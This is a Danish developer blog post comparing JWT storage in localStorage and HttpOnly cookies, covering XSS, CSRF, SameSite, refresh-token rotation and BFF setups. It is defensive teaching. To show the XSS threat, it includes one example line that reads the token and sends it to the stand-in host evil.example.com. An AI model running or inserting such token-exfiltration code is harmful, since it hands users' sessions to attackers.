Den dag min JWT forsvandt i localStorage (og dukkede op i et cookie-helvede)
De fleste tror, det handler om at vælge mellem “cookies” eller “localStorage”. Det passer ikke. Det handler om, hvilke angreb du reelt gider beskytte dig imod, og hvad du er villig til at leve med i din arkitektur.
Jeg fandt selv ud af det på den hårde måde, da et tilsyneladende simpelt valg om “JWT i cookies vs localStorage” endte i en produktion med 401-loops, mystiske CORS-fejl og brugere der ikke kunne logge ud. Alt sammen fordi jeg ikke havde tænkt trusselsmodellen igennem.
Hvad vi faktisk prøver at undgå (trusselsmodellen på 5 linjer)
Inden vi snakker om jwt i cookies, jwt i localStorage og alle de fine flag, er der fire problemer at holde styr på:
- XSS (Cross Site Scripting): Ond JavaScript-kode kører i din side og kan læse/ændre ting.
- CSRF (Cross Site Request Forgery): En anden side laver requests som brugeren med deres cookies.
- Token theft: Din JWT bliver stjålet og brugt fra en anden maskine.
- Session fixation / infinite sessions: Tokens udløber ikke rigtigt, eller kan misbruges længe.
Valget mellem cookies og localStorage er ikke egentlig et spørgsmål om “hvad er moderne”, men om:
- Vil du hellere have besværlige CSRF-beskyttelser eller leve med større XSS-risiko?
- Hvordan ser din frontend-arkitektur ud (klassisk server-renderet, SPA, mobilklienter)?
Så lad os starte i den ende, hvor mange begynder, fordi det føles nemt.
JWT i localStorage: hvad går der præcist galt ved XSS?
Det klassiske scenarie: Du bygger en SPA, du har et API på api.example.com, og du vil gerne slippe for alt med cookies, CORS-credentials og SameSite. Så du gør noget i stil med:
// Efter login
localStorage.setItem('access_token', jwtFromServer)
// Ved hvert API-kald
const token = localStorage.getItem('access_token')
fetch('https://api.example.com/profile', {
headers: {
Authorization: `Bearer ${token}`
}
})
Det føles rart. DevTools viser requesten med fin Authorization-header. Intet cookie-halløj. Du har fuld kontrol i JavaScript.
Problemet er, at din token nu lever i et miljø, hvor enhver XSS kan gøre:
const stolen = localStorage.getItem('access_token')
fetch('https://evil.example.com/steal?token=' + encodeURIComponent(stolen))
Og så er skaden sket. Angriberen kan nu bruge tokenen fra sin egen maskine, indtil den udløber eller bliver revokeret.
“Men jeg har jo ikke XSS”
Det troede jeg også. Indtil nogen smed en uskyldig lille rich-text editor ind, hvor man kunne gemme HTML, der senere blev vist uden ordentlig escaping.
Typiske XSS-veje, der rammer webapps med jwt i localStorage:
- Brugergenereret HTML, der bare bliver sat ind med
innerHTML. - Frontend-templates, der ikke escaper korrekt.
- 3. parts scripts, der bliver kompromitteret (CDN eller npm-pakker).
Så snart en angriber kan få lov at køre bare en linje JS i din origin, kan de læse localStorage og sessionStorage. Det er hele pointen.
LocalStorage er ikke altid forkert
Jeg bruger stadig localStorage til ting, hvor det ikke gør noget, at en angriber kan læse det. Feature-flags, UI-tilstand, tema osv.
Men access-tokens og refresh-tokens der giver adgang til brugerkontoen, det er en anden liga.
Hvis du vælger localStorage til auth alligevel, så er det kun forsvarligt, hvis du samtidig:
- Har en stram Content Security Policy.
- Har XSS-scan/pen tests og regelmæssige reviews af alle steder, hvor du bruger
innerHTML. - Bruger korte lived tokens og aggressiv rotation.
Og selv der vil mange sikkerhedsfolk stadig rynke på næsen.
JWT i cookies: hvad du vinder, og hvad du pludselig skylder
Hvis du flytter dine tokens over i cookies, ændrer trusselsbilledet sig:
- Hvis din cookie er HttpOnly, kan JavaScript ikke læse den.
- Browsere sender automatisk cookie med alle requests til origin (eller domæne efter dine flags).
- Angriberen kan ikke bare stjæle tokenen via ny JS-kode, men kan ofte stadig få din browser til at sende den.
Illustration i pseudo:
HTTP/1.1 200 OK
Set-Cookie: access_token=eyJhbGciOi...;
Path=/; HttpOnly; Secure; SameSite=Lax
Din frontend skal ikke længere håndtere Authorization-headeren. Du kalder bare APIet, og browseren sørger for resten:
fetch('/api/profile', { credentials: 'include' })
Så hvad vinder du?
- Tokenen kan ikke læses fra JS, hvis
HttpOnlyer sat. - Du undgår at lække tokens i logs, localStorage snapshots, random debug-udskrifter.
- Du kan (med den rigtige opsætning) få et klassisk session-flow i din full stack arkitektur.
Og hvad skylder du?
- Du skal tage CSRF alvorligt.
- Du skal forstå
SameSite-indstillingerne og deres konsekvenser for logins. - Du skal ofte slås mere med CORS og domains/subdomains.
SameSite=Lax/Strict/None forklaret med rigtige flows
SameSite styrer, hvornår browseren sender cookies med cross-site requests.
Forestil dig, at dit API er på https://api.example.com, og din frontend er på https://app.example.com.
SameSite=Strict
Cookie sendes kun, når brugeren er på samme site. Ingen cross-site navigationer, ingen iframes, ingen requests trigget fra andre sites.
Typisk brug: Admin-paneler, hvor du vil være ultra paranoid, og hvor alt foregår på samme origin.
SameSite=Lax
Standard i mange browsere. Cookie sendes ved top-level navigations (link-kliks), men ikke ved baggrundsrequests fra andre sites.
I praksis betyder det:
- Direkte klik på login-link fra en mail til dit site: cookie virker.
- Ond side der prøver at lave et
<form>-POST i baggrunden til dit site: blokeret mod mange CSRF-scenarier.
Godt default, hvis din frontend og backend deler domæne.
SameSite=None; Secure
Du vælger eksplicit at sige: Send cookie ved cross-site requests, men kun over HTTPS.
Det er typisk den, du ender med, hvis du har:
- Frontend på eget domæne (f.eks. Vercel) og backend et andet sted.
- Flere subdomæner, der skal dele session.
Og det er her CSRF igen banker på døren.
HttpOnly + Secure: hvad en SPA faktisk kan og ikke kan
HttpOnly betyder, at JavaScript ikke kan læse cookien via document.cookie. Den bliver kun sendt automatisk med HTTP-requests.
Secure betyder, at cookien kun sendes over HTTPS.
Det lyder trygt. Men for din SPA betyder det:
- Du kan ikke lige læse tokenen og vise dens
expellersubi UI. - Du kan ikke manuelt tilføje Authorization-header uden også at have en kopi af tokenen et andet sted.
- Logout skal ske server-side ved at udløbe/cleare cookien.
Det rigtige mindset: Når du vælger HttpOnly-cookies, vælger du et sessions-centreret setup, hvor serveren bestemmer meget mere, og klienten er tyndere hvad angår auth-logik.
Det kan en SPA sagtens leve med, men det kræver, at du designer dine endpoints efter det.
CSRF vs XSS i JWT-verdenen
CSRF handler om, at en anden origin kan få din browser til at sende en request med dine cookies.
XSS handler om, at en angriber kan køre JavaScript i din origin.
Med tokens i localStorage er du primært bange for XSS. Med tokens i cookies er du stadig bange for XSS (fordi angriberen kan kalde dit API fra din origin), men du har samtidig åbnet for CSRF, hvis du ikke har SameSite og evt. CSRF-tokens på plads.
Kort oversigt:
- localStorage: XSS er katastrofalt, CSRF er som regel ikke relevant, fordi du sjældent bruger cookies.
- HttpOnly cookies: XSS er stadig farligt, men tokens er sværere at stjæle direkte. CSRF kan være et problem afhængigt af SameSite.
Refresh tokens: rotation, expiry og “silent refresh” uden magi
Uanset om du ender med jwt i cookies eller i localStorage, støder du næsten altid på refresh tokens. Typisk model:
- Kortlevet access token (5-15 minutter).
- Længerelevet refresh token (dage/uger).
- Endpoint til at bytte refresh token til nyt access token.
Hvor skal refresh token bo?
Det letteste at drifte i dagligdagen:
- Refresh token i HttpOnly-cookie med
Secureog passendeSameSite. - Access token enten også i cookie eller blot i hukommelsen (ikke localStorage).
Eksempel på svar efter login:
Set-Cookie: refresh_token=eyJhbGciOi...;
Path=/auth/refresh; HttpOnly; Secure; SameSite=Lax; Max-Age=1209600
Set-Cookie: access_token=eyJhbGciOi...;
Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=900
Din SPA laver så et simpelt kald:
// kald når app loader, eller når du får 401 på et API-kald
await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include'
})
Serveren tjekker refresh-token-cookien, roterer den og svarer med ny access_token-cookie.
Silent refresh uden hemmelige tricks
Den klassiske “silent refresh” i en SPA er bare:
- Hold øje med om access token er udløbet (server svarer 401).
- Prøv at kalde
/auth/refreshén gang. - Hvis det lykkes, gentag original-request.
- Hvis ikke, redirect til login.
Ingen iframes, ingen magi. Bare et lille retry-flow.
Tre setups du rent faktisk kan drifte
Nu til det, jeg selv savnede da jeg første gang stod med problemet: nogle reference-arkitekturer der faktisk kan bruges, uden at du drukner i CORS og underlige edge cases.
1. Klassisk MPA med HttpOnly cookies (server-renderet)
Hvis du har en server-renderet app (Django, Laravel, Rails, Next.js med server rendering og minimal SPA-magie), så er det her ofte det mest stabile:
- Login endpoint svarer med
Set-Cookiefor session eller JWT. - Cookies:
HttpOnly; Secure; SameSite=Lax. - Ingen
localStoragetil auth. - CSRF-token i et hidden input felt eller i en non-HttpOnly-cookie, der bruges som header.
Fordele:
- Nærmest ingen CORS-issues, fordi alt er samme origin.
- Velkendt model, masser af dokumentation.
Ulemper:
- Mindre fleksibel, hvis du vil have native apps der bruger samme auth-flow.
- Frontend er lidt mere bundet til backend.
2. SPA + BFF (Backend for Frontend) med HttpOnly cookies
Mit foretrukne setup i dag til større webapps:
- SPA på f.eks.
https://app.example.com. - BFF (en lille backend) på samme origin som SPA (samme domæne og port efter proxy).
- BFF taler videre til interne APIs med service-tokens eller interne nøgler.
- JWTs og refresh tokens bor i HttpOnly-cookies på BFF-origin.
Flow:
- Bruger logger ind via SPA -> request til
/auth/loginpå BFF. - BFF validerer brugeren, sætter
Set-Cookiemed tokens (HttpOnly + Secure). - SPA kalder fremover bare
/api/*på BFF medcredentials: 'include'. - BFF sørger for at vedhæfte tokens til interne API-kald.
Det løser en hel stribe problemer:
- SPA’en skal ikke forstå alt om tokens, kun “jeg er logget ind/ud”.
- Du holder tokens på serversiden og i cookies, hvor du nemmere kan styre rotation og logs.
- CORS er langt mere til at leve med, fordi SPA og BFF deler origin.
Hvis du er i gang med at bygge noget større med frontend frameworks, er det her ofte stedet at lande.
3. API-first med public SPA og mobile klienter
Hvis din backend skal serve både web, mobil-apps, CLI osv., er du ofte nødt til at gå API-first:
- Public SPA hostet på CDN/Vercel/GitHub Pages.
- API på egen origin.
- Mobile klienter der taler direkte til API.
Her kan en kombination give mening:
- Mobil: klassisk
Authorization: Bearer <token>med tokens i secure storage. - Web: HttpOnly-cookies til refresh token, access token kun i memory.
For webdelen kan flowet ligne:
- Bruger logger ind på SPA -> API svarer med HttpOnly refresh-cookie + access token i JSON.
- SPA gemmer access token i memory (ikke localStorage), f.eks. i en global store.
- Når app reloades, laver SPA et
/auth/refresh-kald der bruger refresh-cookie.
Fordel: selv hvis du får XSS, er dit refresh token i HttpOnly-cookie lidt beskyttet. Angriberen kan dog stadig misbruge sessionen fra ofrets browser, så XSS-sikring er stadig nødvendig.
Fejlfinding: sådan læser du cookies, headers og CORS i DevTools
En stor del af forvirringen omkring “jwt i cookies vs localStorage” stammer fra, at man kun ser symtomet: “jeg får 401” eller “min cookie bliver ikke sendt”.
Jeg endte først med at forstå det, da jeg brugte en aften på at stirre på Chrome DevTools Network-tabben i stedet for min kode.
Tjek 1: Kommer Set-Cookie-headeren overhovedet frem?
I Chrome DevTools:
- Åbn Network-tab.
- Lav et login.
- Klik på login-requestet.
- Gå til “Headers” og kig efter Set-Cookie i Response Headers.
Hvis der ikke står noget, hjælper ingen mængde JavaScript dig. Så er problemet på serversiden.
Tjek 2: Bliver cookien gemt?
Gå til Application-tabben i DevTools. Under “Cookies” -> vælg dit domæne.
- Tjek navn, domæne, path, Expires/Max-Age, HttpOnly, Secure, SameSite.
Typisk fejl: Domænet passer ikke til den origin, du laver requests fra, så cookien bliver aldrig sendt.
Tjek 3: Bliver cookien sendt med dit API-kald?
I Network-tab:
- Klik på et API-kald, f.eks.
/api/profile. - Under “Request Headers” -> kig efter “Cookie”.
Hvis den mangler, er det ofte fordi:
- Du har glemt
credentials: 'include'ifetch. - CORS-svaret mangler
Access-Control-Allow-Credentials: true. - Din SameSite-indstilling blokerer i det scenarie, du tester.
Kombiner det her med dine CORS-indstillinger, og du har pludselig meget mere kontrol over, hvad der foregår.
Anti-mønstre der næsten altid giver problemer i produktion
Til sidst får du nogle mønstre, jeg enten selv har lavet eller set flere gange, som nærmest garanterer produktion-headaches.
Anti-mønster 1: Gem både refresh og access token i localStorage
Her kombinerer du:
- Langlevet token.
- Let at stjæle ved XSS.
- Ingen god måde at revoke på, hvis det lækkes.
Hvis du absolut vil bruge localStorage, så brug det kun til kortlevet access token, og lad refresh token ligge i en HttpOnly-cookie.
Anti-mønster 2: SameSite=None uden CSRF-beskyttelse
Hvis du sætter:
Set-Cookie: session=...; SameSite=None; Secure
og du ikke samtidig har en CSRF-strategi (token i header, double submit cookie eller lignende), så har du bare åbnet hele døren:
- Ond side kan få din browser til at POSTe til dit site med din session.
SameSite=None er et værktøj, ikke et “så virker det nok”-flag.
Anti-mønster 3: Blanding af cookie-sessioner og Authorization-header uden klar regel
En anden klassiker: Nogle requests bruger session-cookie, andre bruger Authorization-header med JWT, afhængig af hvor i appen du er.
Det fører ofte til:
- Brugere der er “halvt logget ind”.
- Logout der kun rydder den ene type auth.
- Svære bugs, hvor noget virker i browseren men ikke i mobil-appen.
Vælg én hovedstrategi pr. klient-type, og hold dig til den.
Anti-mønster 4: Token-livstid på 24 timer “fordi login er irriterende”
Langlevet token + mulige XSS- eller session-tyveri-veje er en dårlig kombination.
Det føles rart i testmiljøet, når du ikke skal logge ind hele tiden. I produktion betyder det bare, at dine fejl hænger i alt for længe.
Brug hellere kortlevet access token og fornuftig refresh-strategi. Ja, det er lidt mere arbejde. Men det er også hele pointen med at tage auth alvorligt.
Hvor efterlader det dig, hvis du bare vil træffe et valg?
Hvis jeg skal skære det helt ned til noget, du kan bruge som tommelfingerregel:
- Bygger du en klassisk webapp på ét domæne: Brug HttpOnly-cookies med SameSite=Lax, og tænk i sessions.
- Bygger du en større SPA: Overvej seriøst et BFF-lag med HttpOnly-cookies.
- Bygger du API-first til mange klienttyper: Hold refresh tokens i HttpOnly-cookies for web, og brug secure storage og Bearer-tokens for mobile.
Og hvis du allerede har smidt alt i localStorage, så er du ikke den første. Tag et par commits til at flytte det i en mere sikker retning. Din fremtidige dig, der skal drifte det her, vil takke dig. Måske.
Jeg gør det i hvert fald selv oftere, end jeg vil indrømme højt.







1 kommentar